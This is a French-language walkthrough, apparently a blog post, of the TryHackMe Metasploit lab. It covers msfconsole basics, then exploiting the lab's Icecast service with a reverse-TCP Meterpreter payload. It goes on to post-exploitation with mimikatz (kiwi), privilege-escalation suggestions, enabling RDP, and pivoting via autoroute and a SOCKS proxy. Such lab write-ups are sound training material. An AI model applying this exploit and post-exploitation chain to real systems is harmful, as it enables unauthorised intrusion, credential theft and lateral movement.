• Task 1 : Introduction

Metasploit est un Framework (ensemble d’outils et de logiciels organisés) permettant d’effectuer des tests d’intrusion en suivant plusieurs étapes. C’est un bon guide !

Lorsque vous voulez effectuer un Pentesting on a besoin de scanner, payload, encoder, auxiliaire… etc. Pour vous éviter de réaliser ces actions avec différents outils, Metasploit est doté de toutes ces possibilités et d’outils de hacking.

Aujourd’hui de plus en plus de hackers, pentesters, ingénieurs sécurité… utilisent Metasploit, celui-ci leur permet un gain de temps conséquent et d’efficacité. Un autre point important, c’est la possibilité d’adapter, modifier les scripts existants propre à Metasploit, c’est génial non ?

Ready ? Alors go !!

  • Phase de connexion

Pour ceux qui n’ont jamais utilisé TryHackme suivez les instructions suivantes, les autres peuvent passer à la phase de démarrage directement :

  • Survolez avec votre souris votre avatar en haut à droite et cliquez sur Acces. Une fois dans cette rubrique vous devez télécharger votre fichier de configuration afin d’accéder par vpn au server.

Maintenant, cliquez sur OpenVPN (Free). Plusieurs points apparaissent pour vous guider sur le fonctionnement.

Explications :

Nous allons installer OpenVPN et voir comment se servir de notre fichier de configuration. Pour cela tapez la commande suivante :

sudo apt install openvpn

Une fois l’outil installé, vous devez simplement vous déplacer vers le répertoire où se situe votre fichier de configuration VPN et l’utiliser depuis un terminal comme suit :

« sudo openvpn /path/to/file.ovpn » , si vous êtes root sur votre terminal pas besoin du préfix sudo.

Super, une bonne chose de faite.

  • Task 2 : Phase d’Initialisation

C’est la première fois que vous utilisez Metasploit ? Aucun problème, nous allons voir comment ça marche tout de suite mais avant d’utiliser cet outil puissant il y a quelques petites préparations à faire.

Commençons par initialiser la base de données, eh bien oui, il y a une base de données ! c’est simple, utilisez la commande : msfdb init

Super ! notre base de données est prête, nous allons pouvoir lancer notre Framework mais jetons un petit coup d’œil au menu d’aide avant tout ne soyons pas si pressé. Pour cela tapez ce qui suit :

msfconsole -h

Vu ? lançons Metasploit, bien évidemment vous avez la possibilité de le lancer avec ou sans bannière ni aucune information de démarrage (voir menu d’aide).

Sans Bannière :

msfconsole -q

Avec Bannière :

msfconsole

Bien évidemment, si cet affichage ne vous plaît pas, vous pouvez le modifier en tapant tout simplement banner :

Vous préférez celui-là peut-être ?

Bon, maintenant nous allons vérifier le statut de la base de données avec db_status :

Nous sommes belle et bien connecté à la base de données utilisant PostgreSQL (gestionnaire de base de données). Passons aux commandes de base et celles fréquemment utilisées.

  • Task 3 : Les commandes

Pour voir les commandes que vous pouvez utiliser, tapez la commande help et visualisez le menu d’aide. Lorsque vous observez le menu d’aide il y a la commande ? qui vous permet d’accéder à ce menu, c’est l’alias de caractère très court.

Trouver divers modules dont nous disposons dans Metasploit est l’une des commandes les plus courantes que vous utiliserez dans le Framework. Quelle est la commande de base que vous utiliserez pour la recherche ? Eh bien ce n’est pas compliqué c’est tout simplement search.

Une fois que vous avez trouvé le module que vous souhaitez exploiter, utilisez use pour le sélectionner comme module actif. Puis la commande info pour afficher les informations sur le module choisi ou spécifique.

Metasploit a une fonction de type netcat intégrée où nous pouvons établir une connexion rapide avec un hôte simplement pour vérifier que nous pouvons lui parler, il s’agit de la commande connect.

À l’aide de set et setg vous pouvez changer la valeur de la variable ou variable globale, c’est une commande très utilisée.

Maintenant que nous avons appris à modifier la valeur des variables, tapez get pour afficher la valeur. Vous pouvez également changer la valeur en « null/aucune » avec la commande unset.

Lorsque vous effectuez un test d’intrusion, il est assez courant d’enregistrer votre écran pour un examen plus approfondi ou pour fournir des preuves de toutes actions entreprises. Ceci est souvent associé à la collecte de la sortie de console dans un fichier, car il peut être incroyablement utile de rechercher différentes informations à l’écran. Utilisez la commande spool pour que la sortie de notre console soit enregistrée dans un fichier.

Laisser une console Metasploit en cours d’exécution n’est pas toujours pratique et il peut être utile de charger toutes nos valeurs précédemment définies lors du démarrage de Metasploit. Utilisez tout simplement la commande save. Cela sera enregistré dans votre répertoire msf4 (ou msf5, msf6) et peut être annulé facilement en supprimant simplement le fichier de paramètres créé.

  • Task 4 : Les modules

Metasploit se compose de six modules de base qui constituent la majeure partie des outils que vous utiliserez. Examinons rapidement les différents modules, leurs objectifs et certaines des commandes associées aux modules.

Un module est un logiciel que Metasploit Framework utilise pour effectuer une tâche, telle qu’exploiter ou scanner une cible. Un module peut être d’exploitation, d’auxiliaire ou de post-exploitation.

  • Le module le plus couramment utilisé qui contient le code d’exploitation est : exploit.
  • Le module payload contient les différents morceaux de shellcode que nous envoyons pour faire exécuter à la suite de l’exploitation. Ce dernier est très complémentaire avec l’exploit.
  • Les auxiliary (auxiliaires) sont couramment utilisés pour effectuer des scans et vérifications de machines si elles sont exploitables.
  • L’une des activités les plus courantes après l’exploitation est le post exploitation.
  • Vous pouvez utiliser les encoder pour modifier l’apparence de votre exploit afin d’éviter une détection de signature (très utile).
  • Le module NOP est utilisé avec les attaques par débordement de tampon (Buffer overflow) et ROP.

Tous les modules ne sont pas chargés par défaut, avec la commande load nous pouvons charger différents modules.

Dans la version actuelle (msf6) de Metasploit, il y a 2139 exploits, 596 payloads, 1136 auxiliary, 45 encoders, 10 nops, 365 post et 8 evasion.

  • Task 5 : Obtention d’un shell

Vous vous souvenez de cette base de données que nous avons créée ? Dans cette étape, nous allons voir à quoi nous pouvons l’utiliser et exploiter notre victime. Comme vous l’avez peut-être remarqué, jusqu’à présent, nous n’avons pas touché à nmap, et encore moins effectué beaucoup de reconnaissance sur notre server vulnérable.

Tout va changer maintenant car nous allons essayer d’utiliser nmap dans Metasploit, allez-y et déployez la machine maintenant.

Remarque : Metasploit prend en charge différents types d’analyses de ports à partir des modules auxiliaires. Il peut également importer d’autres scans de nmap et Nessus pour n’en nommer que quelques-uns.

Metasploit est livré avec un moyen intégré d’exécuter nmap et d’alimenter ses résultats directement dans notre base de données. Exécutons cela maintenant en utilisant la commande :

db_nmap -sV MACHINE_IP

Puis on nous demande quel est le service exécuté sur le port 135

Eh bien, sur le port 135 le service identifier est : msrpc. Le MS-RPC est un protocole propriétaire Windows. C’est un protocole à port dynamique, c’est à dire que la première connexion est effectuée sur le port 135 puis le client est redirigé vers un autre port ouvert dynamiquement dans la plage autorisée.

Nous allons maintenant voir quelles informations avons-nous collectées, pour cela on commence par voir l’hôte avec la commande hosts puis tapez service pour voir les services exécutés.

Le résultat est le même que notre nmap effectué plus haut, juste l’affichage des résultats qui change.

Il y a une chose importante qui vous sera grandement utile, c’est la commande vulns. Ceci énumère les vulnérabilités d’un ou de plusieurs services exécutant dans la machine cible. Dans notre cas aucun résultat sera retourné, essayez 😊 :

Un peu de manipulation de commande, afin d’obtenir un shell sur notre machine victime. Il nous faut bien évidemment trouver le bon exploit et le payload. Par exemple essayez la commande use icecast et observez le chemin de l’exploit : exploit/windows/http/icecast_header

Bon c’était juste pour vous montrer, maintenant utilisons un autre exploit. Pour cela utilisez la commande search multi/handler, vous pouvez soit utiliser use multi/handler soit directement use le nombre de de la colonne #. Eh bien oui c’est la puissance et l’ergonomie de Metasploit.

Notre exploit étant choisi, nous devons maintenant définir le payload que nous souhaitons utiliser. Vous vous souvenez de la commande ? humm la commande set vous parle ?

Eh bien nous allons utiliser le payload windows/meterpreter/reverse_tcp, pour cela tapez :

set payload windows/meterpreter/reverse_tcp

De plus, exécutez set LHOST YOUR_IP_ON_TRYHACKME. Vous devrez peut-être vérifier votre IP à l’aide de la commande ip addr, ce sera probablement votre interface tun0.

Vous voyez, rien de particulièrement difficile finalement.

Revenons à notre exploit précédent, réutilisez use icecast pour le sélectionner à nouveau, avant de lancer notre exploit paramétrez l’adresse IP de la victime avec set RHOSTS IP_cible pour indiquer à Metasploit quelle cible attaquer.

Un petit bonus, vous pouvez utiliser options afin de visualiser l’ensemble des variables à paramétrer. Une fois que vous avez correctement défini ces variables, exécutez l’exploit maintenant via la commande exploit (la plus utilisée) ou run -j.

Tapez background pour garder votre shell meterpreter en arrière-plan, puis tapez sessions pour visualiser toutes les sessions actives. Vous pouvez également interagir avec une session en utilisant la commande session -i number :

  • Task 6 : Shell ok ! Et maintenant ?

Maintenant que nous avons un shell sur notre machine victime, jetons un coup d’œil à plusieurs actions de modules de post-exploitation ! L’utilisation de help va être très utile pour la suite 😉 essayez et observez les commandes possibles.

Tout d’abord, notre shell-processus initial n’est généralement pas très stable. Alors essayons de passer à un processus différent. Listons les processus en utilisant la commande ps, puis il nous est demandé le nom du service exécutant spool :

Une fois que vous avez repéré le service en question, il faut migrer vers ce dernier en utilisant migrate. Essayez, cela ne fonctionnera pas vu que l’on n’a pas les privilèges nécessaires.

L’objectif lorsque vous voulez avoir les privilèges root ou administrateur, il faut récolter un maximum de renseignement sur l’utilisateur actuel et le système. Aidez-vous de getuid et sysinfo.

Pour la suite, on nous demande de trouver un moyen de charger mimikatz, c’est un outil de post-exploitation utilisé contre des systèmes Windows.

En effectuant quelques recherches rapides, vous pouvez trouver load kiwi pour charger mimikatz dans Metasploit. Bien évidemment vous vous souvenez de la commande load.

Comme tout outils que vous n’avez pas l’habitude d’utiliser, un petit help est indispensable :

Maintenant nous devons connaitre notre niveau de privilège de l’utilisateur actuel, pas très compliqué il suffit de tapez getprivs :

Il existe une commande qui a son importance upload, il permet le transférer des fichiers sur notre ordinateur victime.

Si vous voulez exécuter un module Metasploit il suffit de taper run.

Lors d’un Pentesting, il est très important de comprendre la configuration réseau, les informations et les différentes interfaces réseaux de notre cible ! ipconfig pour une machine Windows et ifconfig pour une machine Linux/Unix vous aidera grandement.

Toutes les commandes que l’on vient d’essayer et de citer sont très facilement accessibles depuis le menu d’aide de meterpreter. C’était pour vous familiariser avec ce shell meterpreter très puissant.

Maintenant effectuer un run post/multi/recon/local_exploit_suggester. Cela vérifiera les divers exploits que nous pouvons exécuter au sein de notre session pour élever nos privilèges.

Enfin, essayons de forcer RDP à être disponible. Cela ne fonctionnera pas car nous ne sommes pas des administrateurs, cependant, c’est une commande amusante à connaître : utilisez post/windows/manage/enable_rdp. Pour ceux qui ne connaissent pas le RDP c’est tout simplement un Remote Desktop Protocol. C’est le principe des bureaux à distance 😊.

Pour finir avec cette section, une question rapide, quelle commande pouvons-nous exécuter dans notre session meterpreter pour générer un shell système normal ?

Eh bien c’est shell tout simplement, aidez-vous du menu d’aide 😉.

Un petit bonus, lorsque vous mettez votre shell meterpreter en arrière-plan, vous n’avez pas besoin de tout recommencer pour l’obtenir. Il vous suffit d’utiliser la commande :

sessions id_session

Et nous voilà rapidement revenu sur notre shell meterpreter.

  • Task 7 : Cisco !

Jetons un coup d’œil aux options de routages automatiques disponibles dans Metasploit. Bien que notre machine victime puisse ne pas avoir plusieurs interfaces réseaux, nous allons parcourir les mouvements de pivotement à travers notre victime comme si elle avait un accès aux réseaux supplémentaires.

Effectuez un run autoroute -h, cela affichera le menu d’aide pour l’autoroute. Quelle commande exécutons-nous pour ajouter une route au sous-réseau suivant : 172.18.1.0/24 ?

Réponse : run autoroute -s 172.18.1.0 -n 255.255.255.0

À la prochaine étape on nous signale que l’on peut démarrer un server proxy depuis notre session, mettre d’abord notre shell meterpreter en arrière-plan. Puis cherchez server/socks5 avec la commande search.

NB : J’utilise Metasploit avec la version (msf6), et lorsque j’exécute la commande search server/socks5 aucun résultat n’est trouvé :

J’ai donc utilisé la commande search socks :

Le chemin complet est : auxiliary/server/socks_proxy

Attention ! pour ceux qui utilisent la même version que moi, il faut soumettre la réponse :

auxiliary/server/socks5 sur Tryhackme.

Une fois que nous avons démarré un serveur socks5, nous pouvons modifier notre fichier /etc/proxychains.conf pour inclure notre nouveau server. Quelle commande utiliserez-vous en dehors de Metasploit, pour lancer via notre serveur, sock5 avec des chaînes de proxy ?

Réponse : proxychains

Félicitations, vous y êtes parvenus ! N’hésitez pas à refaire ce petit parcours Metasploit. C’est un outil très puissant et très utilisé, autant en profiter et solidifier ses bases.

@Erdanay

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

onze + 9 =

Follow by Email
YouTube